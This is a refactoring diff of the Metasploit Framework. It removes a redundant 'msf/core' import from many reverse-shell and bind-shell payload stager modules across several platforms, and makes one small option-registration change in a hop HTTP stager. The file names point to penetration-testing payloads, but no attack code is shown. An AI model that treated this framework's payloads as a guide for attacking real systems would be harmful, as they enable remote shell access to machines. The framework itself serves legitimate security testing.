--- a/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/stagers/android/reverse_http.rb b/modules/payloads/stagers/android/reverse_http.rb index 6ea8ce69b5..b685cc6f81 100644 --- a/modules/payloads/stagers/android/reverse_http.rb +++ b/modules/payloads/stagers/android/reverse_http.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_http' require 'msf/core/payload/android/reverse_http' require 'msf/core/payload/uuid/options' diff --git a/modules/payloads/stagers/android/reverse_https.rb b/modules/payloads/stagers/android/reverse_https.rb index 9d2e50810d..d0d1948c3d 100644 --- a/modules/payloads/stagers/android/reverse_https.rb +++ b/modules/payloads/stagers/android/reverse_https.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_https' require 'msf/core/payload/android/reverse_https' require 'msf/core/payload/uuid/options' diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb index f4a43c1825..b01355b61e 100644 --- a/modules/payloads/stagers/android/reverse_tcp.rb +++ b/modules/payloads/stagers/android/reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/android/reverse_tcp' diff --git a/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb b/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb index 34c0eab79f..e2a4a1d96b 100644 --- a/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb +++ b/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/bind_tcp' diff --git a/modules/payloads/stagers/bsd/x86/bind_tcp.rb b/modules/payloads/stagers/bsd/x86/bind_tcp.rb index d03ccfb2ee..f10de07f4a 100644 --- a/modules/payloads/stagers/bsd/x86/bind_tcp.rb +++ b/modules/payloads/stagers/bsd/x86/bind_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/bind_tcp' diff --git a/modules/payloads/stagers/bsd/x86/find_tag.rb b/modules/payloads/stagers/bsd/x86/find_tag.rb index 0eee8c3051..42528b54e9 100644 --- a/modules/payloads/stagers/bsd/x86/find_tag.rb +++ b/modules/payloads/stagers/bsd/x86/find_tag.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/find_tag' diff --git a/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb b/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb index 5506b36ec0..f4ea38c853 100644 --- a/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb +++ b/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' diff --git a/modules/payloads/stagers/bsd/x86/reverse_tcp.rb b/modules/payloads/stagers/bsd/x86/reverse_tcp.rb index a09c2f6f68..f2964abe39 100644 --- a/modules/payloads/stagers/bsd/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/bsd/x86/reverse_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' diff --git a/modules/payloads/stagers/bsdi/x86/bind_tcp.rb b/modules/payloads/stagers/bsdi/x86/bind_tcp.rb index 5f6eda8d92..9998cc3f0d 100644 --- a/modules/payloads/stagers/bsdi/x86/bind_tcp.rb +++ b/modules/payloads/stagers/bsdi/x86/bind_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/bind_tcp' diff --git a/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb b/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb index c15d4b32d9..78562a523c 100644 --- a/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' diff --git a/modules/payloads/stagers/java/bind_tcp.rb b/modules/payloads/stagers/java/bind_tcp.rb index 0c14e94900..023d147fa9 100644 --- a/modules/payloads/stagers/java/bind_tcp.rb +++ b/modules/payloads/stagers/java/bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/java/bind_tcp' diff --git a/modules/payloads/stagers/java/reverse_http.rb b/modules/payloads/stagers/java/reverse_http.rb index 4c1d36456a..d83b058345 100644 --- a/modules/payloads/stagers/java/reverse_http.rb +++ b/modules/payloads/stagers/java/reverse_http.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_http' require 'msf/core/payload/java/reverse_http' diff --git a/modules/payloads/stagers/java/reverse_https.rb b/modules/payloads/stagers/java/reverse_https.rb index 7e5ffde76c..70b69b1da4 100644 --- a/modules/payloads/stagers/java/reverse_https.rb +++ b/modules/payloads/stagers/java/reverse_https.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_https' require 'msf/core/payload/uuid/options' require 'msf/core/payload/java/reverse_https' diff --git a/modules/payloads/stagers/java/reverse_tcp.rb b/modules/payloads/stagers/java/reverse_tcp.rb index d6519ee838..7fa4659561 100644 --- a/modules/payloads/stagers/java/reverse_tcp.rb +++ b/modules/payloads/stagers/java/reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/java/reverse_tcp' diff --git a/modules/payloads/stagers/linux/armle/bind_tcp.rb b/modules/payloads/stagers/linux/armle/bind_tcp.rb index 963307b1da..6a2ef5a882 100644 --- a/modules/payloads/stagers/linux/armle/bind_tcp.rb +++ b/modules/payloads/stagers/linux/armle/bind_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/bind_tcp' diff --git a/modules/payloads/stagers/linux/armle/reverse_tcp.rb b/modules/payloads/stagers/linux/armle/reverse_tcp.rb index 9d5c456f45..1574dc0cce 100644 --- a/modules/payloads/stagers/linux/armle/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/armle/reverse_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' diff --git a/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb b/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb index 081c85e869..af42e22889 100644 --- a/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' diff --git a/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb b/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb index b717932d91..4c18dbcbdd 100644 --- a/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' diff --git a/modules/payloads/stagers/linux/x64/bind_tcp.rb b/modules/payloads/stagers/linux/x64/bind_tcp.rb index 683046caee..f2362555f1 100644 --- a/modules/payloads/stagers/linux/x64/bind_tcp.rb +++ b/modules/payloads/stagers/linux/x64/bind_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/bind_tcp' module MetasploitModule diff --git a/modules/payloads/stagers/linux/x64/reverse_tcp.rb b/modules/payloads/stagers/linux/x64/reverse_tcp.rb index 26543875c1..f398543e27 100644 --- a/modules/payloads/stagers/linux/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/x64/reverse_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' module MetasploitModule diff --git a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb index 4e0a657788..d9ec292995 100644 --- a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb +++ b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/linux/bind_tcp' diff --git a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb index 1f50b4d8ab..3177b7cfe0 100644 --- a/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb +++ b/modules/payloads/stagers/linux/x86/bind_ipv6_tcp_uuid.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/linux/bind_tcp' diff --git a/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb b/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb index 64f0c73640..23f9352d67 100644 --- a/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb +++ b/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/bind_tcp' diff --git a/modules/payloads/stagers/linux/x86/bind_tcp.rb b/modules/payloads/stagers/linux/x86/bind_tcp.rb index b49fdd595b..870492af0e 100644 --- a/modules/payloads/stagers/linux/x86/bind_tcp.rb +++ b/modules/payloads/stagers/linux/x86/bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/linux/bind_tcp' diff --git a/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb index 47e905fb63..7a0d09eb60 100644 --- a/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/linux/bind_tcp' diff --git a/modules/payloads/stagers/linux/x86/find_tag.rb b/modules/payloads/stagers/linux/x86/find_tag.rb index 967a6965da..32132d9d3d 100644 --- a/modules/payloads/stagers/linux/x86/find_tag.rb +++ b/modules/payloads/stagers/linux/x86/find_tag.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/find_tag' diff --git a/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb index 2dac77ebe7..3389941c3a 100644 --- a/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb +++ b/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' # Linux Reverse TCP/IPv6 Stager diff --git a/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb index 16c273185e..aaf69a834d 100644 --- a/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb +++ b/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_tcp.rb index 2c2feaf11a..1eb84c5fa6 100644 --- a/modules/payloads/stagers/linux/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/x86/reverse_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/linux/reverse_tcp' diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb index 526e978f0e..8dc5b59c43 100644 --- a/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/linux/reverse_tcp' diff --git a/modules/payloads/stagers/multi/reverse_http.rb b/modules/payloads/stagers/multi/reverse_http.rb index 1a2cc6be60..0c6aee6c3d 100644 --- a/modules/payloads/stagers/multi/reverse_http.rb +++ b/modules/payloads/stagers/multi/reverse_http.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_http' require 'msf/core/payload/multi/reverse_http' diff --git a/modules/payloads/stagers/multi/reverse_https.rb b/modules/payloads/stagers/multi/reverse_https.rb index 68c150bb04..5c11245ae8 100644 --- a/modules/payloads/stagers/multi/reverse_https.rb +++ b/modules/payloads/stagers/multi/reverse_https.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_https' require 'msf/core/payload/multi/reverse_https' diff --git a/modules/payloads/stagers/netware/reverse_tcp.rb b/modules/payloads/stagers/netware/reverse_tcp.rb index cce195a4c3..705d164018 100644 --- a/modules/payloads/stagers/netware/reverse_tcp.rb +++ b/modules/payloads/stagers/netware/reverse_tcp.rb @@ -5,7 +5,6 @@ require 'metasm' -require 'msf/core' require 'msf/core/handler/reverse_tcp' diff --git a/modules/payloads/stagers/osx/armle/bind_tcp.rb b/modules/payloads/stagers/osx/armle/bind_tcp.rb index a65043fada..30852ee495 100644 --- a/modules/payloads/stagers/osx/armle/bind_tcp.rb +++ b/modules/payloads/stagers/osx/armle/bind_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/bind_tcp' diff --git a/modules/payloads/stagers/osx/armle/reverse_tcp.rb b/modules/payloads/stagers/osx/armle/reverse_tcp.rb index d7e214fed7..02a21ab428 100644 --- a/modules/payloads/stagers/osx/armle/reverse_tcp.rb +++ b/modules/payloads/stagers/osx/armle/reverse_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' diff --git a/modules/payloads/stagers/osx/ppc/bind_tcp.rb b/modules/payloads/stagers/osx/ppc/bind_tcp.rb index 4ae1eee45d..9b409d238e 100644 --- a/modules/payloads/stagers/osx/ppc/bind_tcp.rb +++ b/modules/payloads/stagers/osx/ppc/bind_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/bind_tcp' diff --git a/modules/payloads/stagers/osx/ppc/find_tag.rb b/modules/payloads/stagers/osx/ppc/find_tag.rb index f30b0d7bb2..476b0cd61f 100644 --- a/modules/payloads/stagers/osx/ppc/find_tag.rb +++ b/modules/payloads/stagers/osx/ppc/find_tag.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/find_tag' diff --git a/modules/payloads/stagers/osx/ppc/reverse_tcp.rb b/modules/payloads/stagers/osx/ppc/reverse_tcp.rb index 75b7f06b5c..81a83137c6 100644 --- a/modules/payloads/stagers/osx/ppc/reverse_tcp.rb +++ b/modules/payloads/stagers/osx/ppc/reverse_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' diff --git a/modules/payloads/stagers/osx/x64/bind_tcp.rb b/modules/payloads/stagers/osx/x64/bind_tcp.rb index df891778cc..f05f39dfd2 100644 --- a/modules/payloads/stagers/osx/x64/bind_tcp.rb +++ b/modules/payloads/stagers/osx/x64/bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' module MetasploitModule diff --git a/modules/payloads/stagers/osx/x64/reverse_tcp.rb b/modules/payloads/stagers/osx/x64/reverse_tcp.rb index 119ff98996..a91e3b7c45 100644 --- a/modules/payloads/stagers/osx/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/osx/x64/reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' module MetasploitModule diff --git a/modules/payloads/stagers/osx/x86/bind_tcp.rb b/modules/payloads/stagers/osx/x86/bind_tcp.rb index 64cc3a4ffa..37a2442f44 100644 --- a/modules/payloads/stagers/osx/x86/bind_tcp.rb +++ b/modules/payloads/stagers/osx/x86/bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' ### diff --git a/modules/payloads/stagers/osx/x86/reverse_tcp.rb b/modules/payloads/stagers/osx/x86/reverse_tcp.rb index 27dcd36cf6..2cf9103bfb 100644 --- a/modules/payloads/stagers/osx/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/osx/x86/reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' ### diff --git a/modules/payloads/stagers/php/bind_tcp.rb b/modules/payloads/stagers/php/bind_tcp.rb index 5c283da8a5..41b0f404fe 100644 --- a/modules/payloads/stagers/php/bind_tcp.rb +++ b/modules/payloads/stagers/php/bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/php/bind_tcp' diff --git a/modules/payloads/stagers/php/bind_tcp_ipv6.rb b/modules/payloads/stagers/php/bind_tcp_ipv6.rb index 6ebec08930..fc9b21be05 100644 --- a/modules/payloads/stagers/php/bind_tcp_ipv6.rb +++ b/modules/payloads/stagers/php/bind_tcp_ipv6.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/php/bind_tcp' diff --git a/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb b/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb index a01609fac8..f8a8d550fe 100644 --- a/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb +++ b/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/php/bind_tcp' diff --git a/modules/payloads/stagers/php/bind_tcp_uuid.rb b/modules/payloads/stagers/php/bind_tcp_uuid.rb index 8a7e263464..8b19739f85 100644 --- a/modules/payloads/stagers/php/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/php/bind_tcp_uuid.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/php/bind_tcp' diff --git a/modules/payloads/stagers/php/reverse_tcp.rb b/modules/payloads/stagers/php/reverse_tcp.rb index ffd8f880d7..48df683002 100644 --- a/modules/payloads/stagers/php/reverse_tcp.rb +++ b/modules/payloads/stagers/php/reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/php/reverse_tcp' diff --git a/modules/payloads/stagers/php/reverse_tcp_uuid.rb b/modules/payloads/stagers/php/reverse_tcp_uuid.rb index 22d28fa075..00f4387a0f 100644 --- a/modules/payloads/stagers/php/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/php/reverse_tcp_uuid.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/php/reverse_tcp' diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb index 41c763ad2c..7dade506ab 100644 --- a/modules/payloads/stagers/python/bind_tcp.rb +++ b/modules/payloads/stagers/python/bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/python' require 'msf/core/payload/python/bind_tcp' diff --git a/modules/payloads/stagers/python/bind_tcp_uuid.rb b/modules/payloads/stagers/python/bind_tcp_uuid.rb index 88c071564f..a51da767c1 100644 --- a/modules/payloads/stagers/python/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/python/bind_tcp_uuid.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/python' require 'msf/core/payload/python/bind_tcp' diff --git a/modules/payloads/stagers/python/reverse_http.rb b/modules/payloads/stagers/python/reverse_http.rb index 59edabedbe..103fdc7905 100644 --- a/modules/payloads/stagers/python/reverse_http.rb +++ b/modules/payloads/stagers/python/reverse_http.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_http' require 'msf/core/payload/python' require 'msf/core/payload/python/reverse_http' diff --git a/modules/payloads/stagers/python/reverse_https.rb b/modules/payloads/stagers/python/reverse_https.rb index 7e94c41234..059619f1e4 100644 --- a/modules/payloads/stagers/python/reverse_https.rb +++ b/modules/payloads/stagers/python/reverse_https.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_https' require 'msf/core/payload/python' require 'msf/core/payload/python/reverse_http' diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb index 367b3c8693..79b2efe041 100644 --- a/modules/payloads/stagers/python/reverse_tcp.rb +++ b/modules/payloads/stagers/python/reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/python/reverse_tcp' require 'msf/base/sessions/command_shell' diff --git a/modules/payloads/stagers/python/reverse_tcp_ssl.rb b/modules/payloads/stagers/python/reverse_tcp_ssl.rb index d564bec8cb..263e940a27 100644 --- a/modules/payloads/stagers/python/reverse_tcp_ssl.rb +++ b/modules/payloads/stagers/python/reverse_tcp_ssl.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp_ssl' require 'msf/core/payload/python/reverse_tcp_ssl' diff --git a/modules/payloads/stagers/python/reverse_tcp_uuid.rb b/modules/payloads/stagers/python/reverse_tcp_uuid.rb index 55d36cde14..a42ba27433 100644 --- a/modules/payloads/stagers/python/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/python/reverse_tcp_uuid.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/python/reverse_tcp' require 'msf/base/sessions/command_shell' diff --git a/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb b/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb index 93c6296129..16d6e80120 100644 --- a/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb +++ b/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/bind_tcp' diff --git a/modules/payloads/stagers/windows/bind_hidden_tcp.rb b/modules/payloads/stagers/windows/bind_hidden_tcp.rb index d8586a924c..c382ed70bc 100644 --- a/modules/payloads/stagers/windows/bind_hidden_tcp.rb +++ b/modules/payloads/stagers/windows/bind_hidden_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/bind_tcp' diff --git a/modules/payloads/stagers/windows/bind_ipv6_tcp.rb b/modules/payloads/stagers/windows/bind_ipv6_tcp.rb index ad3e3bc080..9af4ea61ec 100644 --- a/modules/payloads/stagers/windows/bind_ipv6_tcp.rb +++ b/modules/payloads/stagers/windows/bind_ipv6_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/windows/bind_tcp' diff --git a/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb b/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb index f7f5cf65f7..1d8eaa363a 100644 --- a/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/windows/bind_tcp' diff --git a/modules/payloads/stagers/windows/bind_nonx_tcp.rb b/modules/payloads/stagers/windows/bind_nonx_tcp.rb index ee6cf243db..66cad8e531 100644 --- a/modules/payloads/stagers/windows/bind_nonx_tcp.rb +++ b/modules/payloads/stagers/windows/bind_nonx_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/bind_tcp' diff --git a/modules/payloads/stagers/windows/bind_tcp.rb b/modules/payloads/stagers/windows/bind_tcp.rb index 7a37affda9..8ac0f3db81 100644 --- a/modules/payloads/stagers/windows/bind_tcp.rb +++ b/modules/payloads/stagers/windows/bind_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/windows/bind_tcp' diff --git a/modules/payloads/stagers/windows/bind_tcp_rc4.rb b/modules/payloads/stagers/windows/bind_tcp_rc4.rb index f7a037db79..313fc5333e 100644 --- a/modules/payloads/stagers/windows/bind_tcp_rc4.rb +++ b/modules/payloads/stagers/windows/bind_tcp_rc4.rb @@ -5,7 +5,6 @@ ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/windows/bind_tcp_rc4' diff --git a/modules/payloads/stagers/windows/bind_tcp_uuid.rb b/modules/payloads/stagers/windows/bind_tcp_uuid.rb index 1bb216bbc0..798821673b 100644 --- a/modules/payloads/stagers/windows/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/bind_tcp_uuid.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/windows/bind_tcp' diff --git a/modules/payloads/stagers/windows/findtag_ord.rb b/modules/payloads/stagers/windows/findtag_ord.rb index d247665c49..879ed926e3 100644 --- a/modules/payloads/stagers/windows/findtag_ord.rb +++ b/modules/payloads/stagers/windows/findtag_ord.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/find_tag' diff --git a/modules/payloads/stagers/windows/reverse_hop_http.rb b/modules/payloads/stagers/windows/reverse_hop_http.rb index e87918864c..98e53d6ea1 100644 --- a/modules/payloads/stagers/windows/reverse_hop_http.rb +++ b/modules/payloads/stagers/windows/reverse_hop_http.rb @@ -4,7 +4,6 @@ ## require 'uri' -require 'msf/core' require 'msf/core/handler/reverse_hop_http' module MetasploitModule @@ -39,7 +38,7 @@ module MetasploitModule register_options([ OptString.new('HOPURL', [ true, "The full URL of the hop script", "http://example.com/hop.php" ] ) - ], self.class) + ]) end # diff --git a/modules/payloads/stagers/windows/reverse_http.rb b/modules/payloads/stagers/windows/reverse_http.rb index bad5a033eb..68846ddd17 100644 --- a/modules/payloads/stagers/windows/reverse_http.rb +++ b/modules/payloads/stagers/windows/reverse_http.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_http' require 'msf/core/payload/windows/reverse_http' diff --git a/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb b/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb index cf7dd5013e..e606ad7211 100644 --- a/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb +++ b/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_http' require 'msf/core/payload/uuid/options' diff --git a/modules/payloads/stagers/windows/reverse_https.rb b/modules/payloads/stagers/windows/reverse_https.rb index 12a4e8df17..2ce6258a65 100644 --- a/modules/payloads/stagers/windows/reverse_https.rb +++ b/modules/payloads/stagers/windows/reverse_https.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_https' require 'msf/core/payload/windows/reverse_https' diff --git a/modules/payloads/stagers/windows/reverse_https_proxy.rb b/modules/payloads/stagers/windows/reverse_https_proxy.rb index e867e144e6..e9dabd49ea 100644 --- a/modules/payloads/stagers/windows/reverse_https_proxy.rb +++ b/modules/payloads/stagers/windows/reverse_https_proxy.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_https_proxy' diff --git a/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb b/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb index 